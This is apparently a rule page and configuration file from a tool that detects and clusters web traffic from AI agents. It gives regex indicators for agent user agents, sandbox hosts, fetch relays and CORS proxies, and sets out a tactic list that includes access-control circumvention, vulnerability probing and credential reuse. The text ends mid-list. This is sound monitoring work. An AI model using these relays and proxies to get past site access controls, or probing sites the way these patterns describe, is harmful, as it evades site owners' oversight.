+4significant alonemodel artifactVia header from a hysandbox Apache Traffic Server proxy

Via header from a hysandbox Apache Traffic Server proxy

Weight: +4
Matches: header
Group: proxy_headers counts once per record (FM-4.11)
Manual: FM-4.5

^via:.*hysandbox

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`header.via_ats`

+1model artifactRequest passed through Apache Traffic Server

Request passed through Apache Traffic Server

Weight: +1
Matches: header
Group: proxy_headers counts once per record (FM-4.11)
Manual: FM-4.5

^via:.*(ApacheTrafficServer|\(ats\)|-ats\))

Test a URL

Labelled set: 2 agent hits, 2 benign hits; too few to estimate precision (hits per rule)

`header.gzip_only_requests`

+1model artifactAccept-Encoding normalised to bare gzip (ATS normalize_ae), unusual for python-requests

Accept-Encoding normalised to bare gzip (ATS normalize_ae), unusual for python-requests

Weight: +1
Matches: header
Group: proxy_headers counts once per record (FM-4.11)
Manual: FM-4.5

^accept-encoding:\s*gzip\s*$

Test a URL

Labelled set: 1 agent hit, 2 benign hits; too few to estimate precision (hits per rule)

`header.scripted_ua`

+1model artifactScripted HTTP client user agent

Scripted HTTP client user agent

Weight: +1
Matches: user agent
Manual: FM-4.5

python-requests|python-httpx|aiohttp|node-fetch|undici|Go-http-client|curl/|axios/

Test a URL

Labelled set: 14 agent hits, 5 benign hits · precision 74% (hits per rule)

`header.headless_ua`

+1model artifactHeadless browser user agent

Headless browser user agent

Weight: +1
Matches: user agent
Manual: FM-4.5

HeadlessChrome|PhantomJS|Playwright

Test a URL

Labelled set: 5 agent hits, 1 benign hit · precision 83% (hits per rule)

`header.mcp_fetch_ua`

+1model artifactModel Context Protocol fetch server user agent

Model Context Protocol fetch server user agent

Weight: +1
Matches: user agent
Manual: FM-4.5

ModelContextProtocol/1\.0 \((Autonomous|User-Specified)

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`header.cf_browser_rendering`

+1model artifactCloudflare Browser Rendering automatic request header

Cloudflare Browser Rendering automatic request header

Weight: +1
Matches: header
Manual: FM-4.5

^cf-(biso-devtools|brapi-request-id|brapi-devtools):

Test a URL

Labelled set: 2 agent hits, 1 benign hit; too few to estimate precision (hits per rule)

`header.ua_platform_mismatch`

+1model artifactUser agent and Sec-CH-UA-Platform name different systems (borrowed user agent)

User agent and Sec-CH-UA-Platform name different systems (borrowed user agent)

Weight: +1
Matches: header
Manual: FM-4.5

^sec-ch-ua-platform:

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`header.pentest_ua`

+1model artifactWeb testing tool default user agent (sqlmap, nuclei, ffuf, gobuster)

Web testing tool default user agent (sqlmap, nuclei, ffuf, gobuster)

Weight: +1
Matches: user agent
Manual: FM-4.5

\bsqlmap/\d|Nuclei - Open-source project|Fuzz Faster U Fool|\bgobuster/\d

Test a URL

Labelled set: 1 agent hit, 5 benign hits · precision 17% (hits per rule)

`header.agent_ua`

+1model artifactKnown agent product in the user agent (FM-7.11 declared identity)

Known agent product in the user agent (FM-7.11 declared identity)

Weight: +1
Matches: user agent
Manual: FM-4.5

ChatGPT-User|OAI-SearchBot|OAI-AdsBot|GPTBot|ClaudeBot|Claude-User|Claude-SearchBot|PerplexityBot|Perplexity-User|Google-Agent|Google-CloudVertexBot|Google-GeminiNotebook|Google-Read-Aloud|Google-Pinpoint|MistralAI-User|MistralAI-Index|DuckAssistBot|Bytespider|Amazonbot|Amzn-User|Amzn-SearchBot|KimiBot|Kimi-User|Kimi-SearchBot|meta-externalagent|meta-externalfetcher|meta-webindexer|meta-externalads|ExaSearchBot|FirecrawlAgent|CloudflareBrowserRenderingCrawler

Test a URL

Labelled set: 4 agent hits, 3 benign hits · precision 57% (hits per rule)

`header.markdown_accept`

+1model artifactAccept header asking for Markdown first (coding-agent content negotiation)

Accept header asking for Markdown first (coding-agent content negotiation)

Weight: +1
Matches: header
Manual: FM-4.5

^accept:\s*text/markdown\b

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`header.coding_agent_ua`

+1model artifactCoding-agent harness fetch user agent (Gemini CLI, Qwen Code, Aider, Crush)

Coding-agent harness fetch user agent (Gemini CLI, Qwen Code, Aider, Crush)

Weight: +1
Matches: user agent
Manual: FM-4.5

Google-Gemini-CLI/\d|\bQwenCode/\S+ \(|\bAider/\d\S* \+https://aider\.chat|^crush/\d+\.\d+$

Test a URL

Labelled set: 6 agent hits, 4 benign hits · precision 60% (hits per rule)

infra 1 rule

`infra.hysandbox_host`

+3model artifactTencent hysandbox hostnames

Tencent hysandbox hostnames

Weight: +3
Matches: url
Manual: FM-4.5

hysandbox\.tencent-cloud\.com

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

outcome 2 rules

`outcome.neterror`

+1Remote browser ended on an error/blank page

Remote browser ended on an error/blank page

Weight: +1
Matches: final url
Tactic: T3 access-control circumvention
Manual: FM-4.4

^about:(neterror|privatebrowsing|blank#blocked)

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`outcome.challenge`

+1Ended on a bot challenge

Ended on a bot challenge

Weight: +1
Matches: final url
Tactic: T3 access-control circumvention
Manual: FM-4.4

challenges\.cloudflare\.com|/cdn-cgi/challenge|captcha|/_incapsula_|perimeterx

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

relay 13 rules

`relay.jina`

+2Jina Reader: fetches a page server-side and returns Markdown

Jina Reader: fetches a page server-side and returns Markdown

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

r.jina.ai

Test a URL

Labelled set: 70 agent hits, 13 benign hits · precision 84% (hits per rule)

`relay.jina_search`

+2Jina search relay: searches, fetches the top results server-side and returns Markdown

Jina search relay: searches, fetches the top results server-side and returns Markdown

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

s.jina.ai

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`relay.repo_digest`

+1Repository-to-text digest service (Gitingest, uithub, GitMCP)

Repository-to-text digest service (Gitingest, uithub, GitMCP)

Weight: +1
Matches: url
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

^https?://([a-z0-9-]+\.)?(gitingest\.com|uithub\.com|gitmcp\.io)([/:?#]|$)

Test a URL

Labelled set: 1 agent hit, 2 benign hits; too few to estimate precision (hits per rule)

`relay.markdown_new`

+2URL-to-Markdown converter

URL-to-Markdown converter

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

markdown.new

Test a URL

Labelled set: 3 agent hits, 1 benign hit; too few to estimate precision (hits per rule)

`relay.microlink`

+2Microlink headless fetch API

Microlink headless fetch API

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

api.microlink.io

Test a URL

Labelled set: 5 agent hits, 2 benign hits · precision 71% (hits per rule)

`relay.hrefli`

+1Referrer-stripping redirector

Referrer-stripping redirector

Weight: +1
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

href.li

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`relay.translate_goog`

+2Google Translate proxy host rewriting

Google Translate proxy host rewriting

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

translate.goog

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`relay.allorigins`

+2CORS proxy

CORS proxy

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

allorigins.win

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`relay.corsproxy`

+2Public CORS proxies

Public CORS proxies

Weight: +2
Matches: url
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

corsproxy\.io|cors-anywhere|thingproxy|codetabs\.com/v1/proxy

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`relay.pure_md`

+2pure.md: fetches a page server-side and returns Markdown

pure.md: fetches a page server-side and returns Markdown

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

pure.md

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`relay.defuddle_md`

+2defuddle.md: fetches a page server-side and returns Markdown

defuddle.md: fetches a page server-side and returns Markdown

Weight: +2
Matches: host
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

defuddle.md

Test a URL

Labelled set: 1 agent hit, 1 benign hit; too few to estimate precision (hits per rule)

`relay.archive_raw`

+2Raw-capture or on-demand-save web-archive URL wrapping a target (indirection)

Raw-capture or on-demand-save web-archive URL wrapping a target (indirection)

Weight: +2
Matches: url
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

(arquivo\.pt/wayback|web\.archive\.org/web)/\d{8,14}id_/|arquivo\.pt/savepagenow|web\.archive\.org/save/

Test a URL

Labelled set: 1 agent hit, no benign hits; too few to estimate precision (hits per rule)

`relay.scrape_api`

+2Scraping API fetching a target server-side (ScrapingBee, ScraperAPI, ZenRows, Firecrawl)

Scraping API fetching a target server-side (ScrapingBee, ScraperAPI, ZenRows, Firecrawl)

Weight: +2
Matches: url
Group: relay counts once per record (FM-4.11)
Tactic: T1 task retrieval
Manual: FM-4.4

(^|[^a-z0-9.-])(app\.scrapingbee\.com|api\.scraperapi\.com|api\.zenrows\.com|api\.firecrawl\.dev)\b

Test a URL

Labelled set: 2 agent hits, 2 benign hits; too few to estimate precision (hits per rule)

self id 4 rules

`selfid.vendor_name`

+1model artifactModel/vendor name in a request parameter (e.g. ?agent=claude, org=OpenAI Research). Unreliable for attribution.

Model/vendor name in a request parameter (e.g. ?agent=claude, org=OpenAI Research). Unreliable for attribution.

Weight: +1
Matches: param value
Group: vendor_self_id counts once per record (FM-4.11)
Manual: FM-4.5

\b(claude|chatgpt|openai|gpt-?[45o]|gemini|anthropic|hunyuan|qwen|deepseek|glm|kimi)\b|openai[\s-]?research(er)?|(?-i:^(claude|gpt|gemini|qwen|deepseek|kimi|agent|research)\d{8}[a-z0-9]{0,24}$)

Test a URL

Labelled set: 5 agent hits, 8 benign hits · precision 38% (hits per rule)

`selfid.signature_agent`

+1model artifactWeb Bot Auth signature headers (Signature-Agent / Signature-Input)

Web Bot Auth signature headers (Signature-Agent / Signature-Input)

Weight: +1
Matches: header
Manual: FM-4.5

^signature-agent:|^signature-input:.*\bkeyid=

Test a URL

Labelled set: 2 agent hits, 3 benign hits · precision 40% (hits per rule)

`selfid.agent_commerce`

+1model artifactAgentic-commerce headers (agent-browser-auth or agent-payer-auth signature, pay-per-crawl price, x402 payment)

Agentic-commerce headers (agent-browser-auth or agent-payer-auth signature, pay-per-crawl price, x402 payment)

Weight: +1
Matches: header
Manual: FM-4.5

^signature-input:.*tag="agent-(browser|payer)-auth"|^crawler-(max|exact)-price:|^(payment-signature|x-payment):

Test a URL

Labelled set: 1 agent hit, 2 benign hits; too few to estimate precision (hits per rule)

`marker.assistant_citation`

+1model artifactAssistant citation tag on the URL (utm_source=chatgpt.com)

Assistant citation tag on the URL (utm_source=chatgpt.com)

Weight: +1
Matches: url
Group: vendor_self_id counts once per record (FM-4.11)
Manual: FM-4.5

[?&]utm_source=chatgpt\.com(&|#|$)

Test a URL

Labelled set: 2 agent hits, 6 benign hits · precision 25% (hits per rule)

Edit & test

Edit the rules and test them here. Edits are kept in this browser only and apply to the workbench and the unwrap tool on this site; they never leave the page. The analysis engine loads when you open the editor.

Open the rules editor

Rules (TOML)

# Default swarmchasing indicator rules.
#
# Shared by the CLI and the browser (WASM) tool, embedded at compile time.
# Derived from techniques documented in public incident reports:
#   - https://swarmcha.se/posts/chinese-agent-fleet
#   - https://transluce.org/agent-activity
#   - https://transluce.org/us-canada-gov
#
# Rule fields
#   id          unique, dotted: <kind>.<name>
#   kind        relay | carrier | exploit | agent_marker | cache_buster | self_id |
#               exfil | header | outcome | anti_bot | infra
#   target      host        - suffix match on the host of each (unwrapped) URL layer
#               url         - regex on each layer's decoded text (URL, data: body, base64 payload)
#               param_name  - regex on query parameter names
#               param_value - regex on query parameter values
#               header      - regex on "name: value" request headers
#               user_agent  - regex on the user agent
#               final_url   - regex on where the scan ended up
#   pattern     host suffix, or a case-insensitive regex
#   weight      contribution to the observation score
#   significant true = a single match is enough for the "significant" tier
#   link        true = the matched text links observations into one cluster
#               (use for inbox IDs, unique tags - things only one operator would share)
#   tactic      what the match shows the agent doing (descriptive, never scored):
#               T1 task retrieval (relays)   T2 tool escalation (carriers, programs)
#               T3 access-control circumvention (anti-bot, outcomes)
#               T4 vulnerability probing     T5 account or identity acquisition
#               T6 credential reuse          T7 callback or side channels
#               T8 off-task targets          T9 inter-agent coordination
#               Each kind has a default tactic (Field Manual FM-4.4): relay and
#               cache_buster T1, carrier T2, anti_bot and outcome T3, exploit T4,
#               exfil T7; agent_marker, header, self_id and infra none. A rule
#               on another tactic is listed with its reason in rules.rs
#               (TACTIC_EXCEPTIONS). T8 and T9 are cluster-level judgments,
#               never a rule match.
#   artifact    true = the match is a trace of how the agent was built, not an
#               action (model-output residue, run tags, self-identification,
#               client headers, sandbox hosts)
#   check       a test the match must also pass, for what a regex cannot say:
#               repeated_token (param_value rules: a word or phrase repeated
#               five or more times in a row), ua_platform_mismatch (header
#               rules: a Sec-CH-UA-Platform hint naming another desktop system
#               than the user agent)
#
# A single relay hit is NOT evidence of an agent: people use these services too.
# Weights are tuned so evidence must stack up.

[meta]
version = "2026-10-14.5"

[thresholds]
suggestive = 3
significant = 6

[linking]
# Parameter names whose *values* link observations to the same run/operator.
strong_params = ["uqtag", "uqscan", "tok", "tag", "run", "runid", "run_id", "session", "sid", "nonce", "cb_tag"]
# A shared feature (strong parameter value or `link = true` match) joins
# records at most this far apart; a longer gap starts a new group (0: no limit).
feature_link_window_secs = 259200
# A feature on more than this many target hosts within one group is common: it
# does not link, and is listed as a common feature instead (0: no limit).
feature_max_hosts = 20
# ... or on more than this share of all records in its group's time span, when
# that span holds at least `feature_share_min_records` records (0: off; for
# broad inputs such as the watch, where one fleet is not most of the records).
feature_max_share = 0.0
feature_share_min_records = 100
# Tags quoted in public incident reports. Anyone who read the report can copy
# one, so a feature with one of these values (ignoring case) never links: its
# carriers are listed as a common feature instead. Each entry names its source.
published_tags = [
    "chatgpttest1", # https://transluce.org/agent-activity
    "tok=expt",     # https://transluce.org/agent-activity (marker.test_tag match)
    # `tok` values quoted in https://transluce.org/agent-activity (expt0,2-5,7,8)
    "expt0",
    "expt2",
    "expt3",
    "expt4",
    "expt5",
    "expt7",
    "expt8",
    # CHATGPT_ tags quoted in https://transluce.org/agent-activity (UNCTAD)
    "CHATGPT_1610_2000_125192",
    "CHATGPT_1620_2000_219755",
]
# Observations of the same target host closer than this are joined.
window_secs = 600
# Within a cluster, a gap longer than this starts a new run.
run_gap_secs = 900
# Bursts: at least `burst_min` requests each within `burst_gap_secs` of the last.
burst_gap_secs = 5
burst_min = 5
# Gaps at least this long (and >= 10x the median gap) are reported as pauses.
pause_min_secs = 600
# Archive bursts in the watch digest: at least `archive_burst_min` captures of
# one host, each within `archive_burst_gap_secs` of the last, holding at least
# `archive_burst_ratio` times the host's usual captures per day.
archive_burst_gap_secs = 180
archive_burst_min = 5
archive_burst_ratio = 10.0
# Seam review: a record, or every record of one client, whose removal splits a
# cluster's link graph is a plant signal when the two largest pieces each hold
# at least this many records and their habits or clients differ (0: off).
seam_min_side = 3

# Probe chains: requests to one host and path, each at most `max_gap_secs`
# after the last, with at least `min_variants` distinct parameter sets. The
# median gap sets the pace hint: under `tool_pace_below_secs` is a tool, up to
# `model_pace_max_secs` is consistent with a model choosing each request.
[chains]
max_gap_secs = 300
min_variants = 3
tool_pace_below_secs = 2
model_pace_max_secs = 120

# Parallel fan-out: one-second batches of alike requests. A width is reported
# when at least `min_batches` batches exist and one width, at least
# `min_width`, covers at least `min_share` of them.
# Cross-service fan-out: one target (after unwrapping) sent to at least
# `cross_service_min` scan services within `cross_service_secs`, read from
# request or submit times only. `cross_service_ambient` ordinary targets on
# other hosts fanned out alike around a cluster mark an auto-submitter (a
# mail gateway or security product) instead of an agent.
[fanout]
batch_secs = 1
min_batches = 4
min_width = 2
min_share = 0.6
cross_service_secs = 60
cross_service_min = 2
cross_service_ambient = 3

# Escalation sequences: requests for one host and path, each at most
# `window_secs` after the last, whose route climbs: direct, then `relay`, then
# `program` carrier, then `remote_browser`. The lists name rules by id;
# `prefix.*` names every rule whose id starts with `prefix.`.
[escalation]
window_secs = 1800
relay = ["relay.*"]
program = ["carrier.httpbin", "carrier.data_url_script", "carrier.inline_fetch_program", "carrier.form_post_program", "carrier.html_program"]
remote_browser = ["carrier.livecodes", "carrier.codesandbox", "carrier.browserless", "carrier.remote_browser_cdp"]

# Soft links: descriptive ties between clusters, never merges. Each kind is a
# likelihood ratio: how much likelier the link is between two clusters of one
# operator than between unrelated ones (1 or less: the kind is off). A pair
# kept by a chance test (shared pauses, scaffolds, co-activity, co-targets)
# carries its kind's ratio in full; any other link's ratio is its kind's
# raised to its similarity, where it has one, and to its rarity: a value held
# by n of the N clusters above noise counts ln(N/n) / ln(N/2) of its kind. A
# value shared by more than `max_shared` clusters links none of them, and a
# link whose ratio comes out below `min_link_lr` is not listed. Kinds fall
# into four families (harness, timeline, targets, identifiers); a pair counts
# its strongest link per family and the families' ratios multiply. Pairs at
# `fleet_min_lr` or more are the edges of the fleet graph, which is reduced to
# its backbone (disparity filter at `backbone_alpha`, or neighbourhood overlap
# of at least `backbone_overlap`) and split into communities whose pairs hold
# on average `fleet_density` of a threshold edge's log ratio (the constant
# Potts model). Each community of two or more is a candidate fleet.
#
# Where `swarmchase sim calibrate samples/sim/scenarios.toml` measures a kind,
# its ratio here starts from the calibration's conservative value, and
# `sim calibrate --check` compares it with the lower bound of the kind's
# ratio stratified by scenario, over the scenarios where it can occur. A
# habit kind the simulation measures only on its one small set of copied
# records stays low or off by judgment. A kind the simulation does not produce
# (preambles, cut lengths, header sets, common features) keeps a
# ratio set by judgment, with its reason in the scenario file's
# `calibration.unmeasured`, which the check reads.
[soft_links]
fleet_min_lr = 20.0
fleet_density = 0.5
backbone_alpha = 0.05
backbone_overlap = 0.5
min_link_lr = 2.0
max_shared = 10
# Judgment, well below the simulation's bound (rerun: one operator's agents
# stalled together by its quota), which measures one way pauses come to be
# shared; tested against a chance model.
shared_pause = 4.0
# Judgment, below the simulation's bound: every simulated agent copies one
# small set of records, so shared habits are measured on less variety than
# real traffic has. Listed when rare.
dialect = 2.0
# Simulation (rerun), below its bound: a list more than a few clusters walk is
# a published one and draws no rerun, but a rerun is not tested against a
# chance model, so it is held at half the fleet threshold and needs other
# evidence before it makes a fleet.
rerun = 10.0
# Simulation (fleet-large), far below its bound: one operator's target list
# walked with one set of paths; held low by judgment, since one scenario
# measures it.
path_set = 3.0
# Judgment for the next four: the simulation does not produce them.
preamble = 3.0
cut_length = 2.0
header_set = 2.0
common_feature = 2.0
# Judgment: off. The simulation measures an encoding style shared by one
# operator's clusters more often than by unrelated ones, on its one small set
# of records, as with dialect. It does not produce fan-out.
encoding = 1.0
fanout = 1.0
# Simulation (escalation, hub, ordered-list).
escalation = 28.0
# Simulation (shared-secret), below its bound: the same redacted secret
# (REDACTED-<hash>) in records of both clusters, a captured token reused.
# Stock passwords and documented demo keys do not count.
shared_secret = 50.0
# Judgment: off. A stack of two or more relays and carriers; the simulation
# measures it shared by one operator's clusters more often than by unrelated
# ones, on its one small set of records, as with dialect.
relay_stack = 1.0
# Judgment: off. Inboxes on one callback service (webhook.site, a request
# catcher); the same inbox links outright. The simulation measures it as it
# does relay stacks.
callback_service = 1.0
# Judgment: a shared structure beyond the scaffold chance model.
scaffold = 20.0
# Simulation: active in the same minutes beyond the co-activity chance model.
# A pair tied by shared pauses gets no co-activity link.
co_activity = 25.0
# Simulation (target-list, news-spike-list, hub, ordered-list): the same rare
# targets in the same hours beyond the co-target chance model.
co_target = 34.0
# Simulation (ordered-list), held at co-target's ratio, below its bound: shared
# rare hosts first touched in the same order by concurrent clusters, beyond the
# ordered co-target chance model. Its pairs are co-target pairs with order
# added, measured on one scenario.
ordered_co_target = 34.0
# Simulation (harness-crowd), held at the scaffold's ratio, below its bound:
# templates one structural part apart, beyond the scaffold lineage chance
# model. A weaker form of a shared scaffold, measured on one crowded scenario.
scaffold_lineage = 20.0
# Simulation (harness-crowd), held at the scaffold's ratio, below its bound:
# prose parameter values from one template, beyond the prompt echo chance
# model, measured on one crowded scenario of synthetic prose.
prompt_echo = 20.0
# Simulation (fleet-large), held at the scaffold's ratio and the fleet
# threshold, far below its bound: three or more clusters all holding several
# rarely held features beyond the co-group null. Counted in the targets family
# for host families and the harness family for templates.
co_group = 20.0
# Simulation (fleet-randomtags), held at the scaffold's ratio, far below its
# bound: generated identifiers decoding to one node id, Snowflake worker, clock
# skew or counter beyond the generator chance model.
generator = 20.0
# Simulation (fleet-playbook), held at the scaffold's ratio, below its bound:
# one playbook's steps in one order beyond the playbook chance model.
playbook = 20.0
# Simulation (campaign), held at the scaffold's ratio and the fleet threshold,
# far below its bound: many senders on one site holding one habit set that
# senders elsewhere seldom hold together, beyond the campaign null. Each pair
# of a campaign's clusters is linked.
campaign = 20.0

# Joint caps: the combined ratio of two families, at most the cap and never
# less than the stronger family alone. Families multiply as if independent,
# and one fact can draw links in two. A cap is at or below the lower bound of
# the pair's joint ratio, stratified by scenario, that `sim calibrate`
# measures; `sim calibrate --check` fails a cap above it, and a family pair
# that co-fires without a cap where the families' product on a pair they link
# together exceeds it. Keys name the families in the order harness, timeline,
# targets, identifiers.
[soft_links.joint]
# Simulation (rerun), below its bound: template co-groups and co-activity on
# one operator's runs, measured on one small scenario.
harness_timeline = 20.0
# Simulation (fleet-randomtags), below its bound: template co-groups and
# shared generators.
harness_identifiers = 90.0
# Simulation (rerun), at its bound: co-activity and co-targets both read
# clusters running at the same time, so together they count as the stronger
# alone (a cap below both families' ratios gives that).
timeline_targets = 5.0

# Scaffold fingerprints: each record reduced to its request template, values
# replaced by slot types. A template ties clusters only with at least
# `min_specificity` structural parts (relay hops, parameters, an informative
# encoding, payloads, a cut), held by at most `soft_links.max_shared` clusters,
# and by at most `max_holders` senders (clusters, and records outside them): a
# shape more hold is a common default. A pair is kept when its IDF-weighted
# template similarity reaches `min_similarity` and two unrelated clusters would
# both hold its rarest shared template at most `max_chance` of the time, at the
# template's base rate: its other holders and outside records carrying it,
# over the other clusters that send a specific template at all. Outside
# records never enlarge the population, so unrelated traffic cannot make a
# shape rare. The kept pairs are then cut at false discovery rate `fdr`
# (Benjamini-Hochberg) over the pairs compared. Scaffold lineage reads the
# same settings: two clusters sharing no specific template but a template one
# structural part apart (a parameter, the encoding, the payloads, the route or
# the cut), each key's base rate read as a template's. Its chance is that an
# unrelated cluster holds as many of one side's keys as the other does, combined
# with that of the handover: only pairs where one cluster ended before the other
# started are compared.
[scaffold]
min_specificity = 3
min_similarity = 0.5
max_holders = 5
max_chance = 0.01
fdr = 0.05

# Co-activity: request and submit times (never capture times) in `bin_secs`
# bins over the union of the two clusters' spans; coincidences at lags up to
# `max_lag_bins` either way, a bin on a clock hour (within
# `clock_tolerance_secs`) counting `clock_weight`. The chance is the larger of
# an analytic one (each bin of the quieter cluster meeting the other's activity
# at its own rate over the span) and the share of `shifts` circular shifts of
# one cluster's activity that align as well; shifts of whole hours, and rates
# at the same minute of the hour, when most activity sits on the hour. Kept
# at `max_chance`, then cut at false discovery rate `fdr` over the pairs tested.
[co_activity]
bin_secs = 60
max_lag_bins = 5
min_active_bins = 4
min_coincidences = 4.0
shifts = 199
max_chance = 0.01
fdr = 0.05
clock_tolerance_secs = 120
clock_weight = 0.25

# Co-target: each cluster's request and submit times (never capture times) on
# each target host and action (probe, callback, fetch, visit) in `bin_secs`
# bins; two clusters share an item when active on it within `max_lag_bins`
# bins of each other. A host touched by more than `max_holders` senders
# (clusters, and records outside them) ties none. A pair needs shared items on
# `min_hosts` hosts and a hypergeometric chance of at most `max_chance` over
# the rare items any cluster was active on while both were, then a false
# discovery rate cut at `fdr` over the pairs tested. Ordered co-target: two
# clusters sharing at least `order_min_hosts` rare hosts, first touched within
# `bin_secs` of each other's span, are tested on the longest run of those hosts
# both first touched in the same order, against a random order; a pair whose
# orders both follow the hosts' sorted order, or their first appearance in
# records outside every cluster above noise, as far ties nothing. Kept at
# `max_chance` and cut at `fdr`.
[co_target]
bin_secs = 3600
max_lag_bins = 1
min_hosts = 3
max_holders = 4
max_chance = 0.01
fdr = 0.05
order_min_hosts = 5

# Prompt echo: prose parameter values of at least `min_words` words, slotted
# (the target host's words, numbers, URLs and identifiers replaced), are one
# template when their slotted text is equal or a MinHash band agrees with an
# estimated similarity of at least `min_similarity`. A template carried by more
# than `max_holders` senders (clusters, and records outside them), or matching
# one of `common_templates`, ties none. The chance is scaffold lineage's over
# the clusters writing prose: that an unrelated cluster meets one side in as
# many of its template families as the other does, each at its base rate, kept
# at `max_chance` and cut at `fdr`.
# `common_templates` lists published query lists (dork lists, benchmark
# prompts), each entry with its source in a comment.
[prompt_echo]
min_words = 6
min_similarity = 0.6
max_holders = 5
max_chance = 0.01
fdr = 0.05
common_templates = []

# Co-group: clusters above noise hold features of two families. Targets: a
# host family (its last two labels) in one episode of activity, touches by
# clusters above noise at most `window_secs` apart, request and submit times
# only; families with a record on a listed benchmark are left out. Harness: a
# specific request template (`scaffold.min_specificity`), and a slotted prose
# template (`prompt_echo.min_words`, `prompt_echo.common_templates` left out),
# prose templates carried by the same clusters counting once. A feature carried
# by more than `max_holders` senders (clusters, and records outside them) ties
# none. A group is at least `min_clusters` clusters all holding at least
# `min_features` features, closed; its score sums each feature's -ln chance
# that a holder set of its size, among the clusters that could hold it (active
# in its hours, for a host family), contains the whole group. The null draws
# `swaps` matrices by degree-preserving swap randomisation (host features only
# to clusters active in their hours); a group's chance is (ge + 1) / (swaps +
# 1) for ge the matrices whose strongest group scores as high, familywise over
# every group mined from the matrix. Kept at `max_chance`, then cut at false
# discovery rate `fdr` over the matrices mined, each at its strongest group's.
[biclique]
window_secs = 21600
min_clusters = 3
min_features = 4
max_holders = 30
swaps = 999
max_chance = 0.01
fdr = 0.05

# Campaigns: senders are the clusters above noise and the flagged records
# outside them. A sender's habits are the rule ids hit and the run-tag
# parameter names carried by at least half its records; its sites are the
# host families of its targets, families with a record on a listed benchmark
# left out. A site with `min_senders` senders has a core: the habits held by
# at least `core_share` of them, `min_habits` or more. Its members hold the
# core but for `slack` habits, and at least `min_habits`; the statistic is the
# hypergeometric tail of that many members among the site's senders, drawn
# from every sender. The null draws the site's senders at random
# `permutations` times; a site is kept at `max_chance`, then cut at false
# discovery rate `fdr` over the sites tested.
[campaign]
min_senders = 4
min_habits = 3
slack = 1
core_share = 0.5
permutations = 999
max_chance = 0.01
fdr = 0.05

# Identifier generators: strong-parameter values and UUID-shaped parameter
# values decoded. UUIDv1/v6 give a node id (multicast nodes left out) and a
# time; UUIDv7, ULID and KSUID a time; a Snowflake decimal its datacenter and
# worker when its time, under the Twitter or Discord epoch, is within
# `max_skew_secs` of the record (as must a ULID's or KSUID's); a
# strong-parameter value ending in three or more digits, at least 100, a counter
# stem and number. Pairs share a node id (chance 2^-47), a worker (2^-10), a
# clock skew read from strong-parameter values only, stable within
# `skew_tolerance_secs`, at least `min_skew_secs` and clear of whole quarter
# hours (chance under a prior log-uniform in magnitude between `min_skew_secs`
# and `max_skew_secs`), or a counter stem with numbers within
# `counter_max_gap` (chance of numbers of that many digits meeting that
# closely). A key carried by more than `max_holders` senders ties none, and a
# node id seen only in one site's URLs outside a strong parameter is the
# site's. Kept at `max_chance`, cut at `fdr`. Node ids are shown only as an
# ordinal label per analysis.
[generator]
max_skew_secs = 172800
min_skew_secs = 60
skew_tolerance_secs = 2
counter_max_gap = 3
max_holders = 10
max_chance = 0.01
fdr = 0.05

# Playbook alignment: a record's step is its request template less the
# parameters carrying linking values, kept with at least `min_specificity`
# structural parts. A cluster's steps on each host, by request or submit time
# (never capture times), repeats in a row dropped, are one sequence; its
# profile is its most common sequence, a playbook when it has `min_steps` steps
# and is seen on `min_hosts` hosts. Two playbooks sharing a step carried by at
# most `max_holders` senders (clusters, and records outside them) are aligned
# locally, a matched step scoring its IDF weight and a gap `gap_penalty`; the
# statistic sums each host sequence of one aligned with the other's profile,
# both ways, against `permutations` shuffles of each cluster's steps within
# host. That order chance must be at most `max_order_chance`; combined with the
# rarest aligned step's base rate (as a scaffold template's) it is kept at
# `max_chance` and cut at false discovery rate `fdr` over the pairs compared.
# A pair whose aligned steps' payload classes follow one of `common_orders`
# ties none.
[playbook]
min_specificity = 3
min_steps = 3
min_hosts = 2
max_holders = 10
gap_penalty = 1.0
permutations = 199
max_order_chance = 0.05
max_chance = 0.01
fdr = 0.05
common_orders = [
  # OWASP Web Security Testing Guide v4.2, its test ids in order: information
  # gathering (WSTG-INFO), directory traversal (WSTG-ATHZ-01), reflected XSS
  # (WSTG-INPV-01), SQL injection (WSTG-INPV-05), command injection
  # (WSTG-INPV-12), server-side template injection (WSTG-INPV-18).
  ["recon", "traversal", "xss", "sqli", "cmd", "ssti"],
  # The payload classes in name order, as a tool walking a payload collection
  # sorted by name sends them.
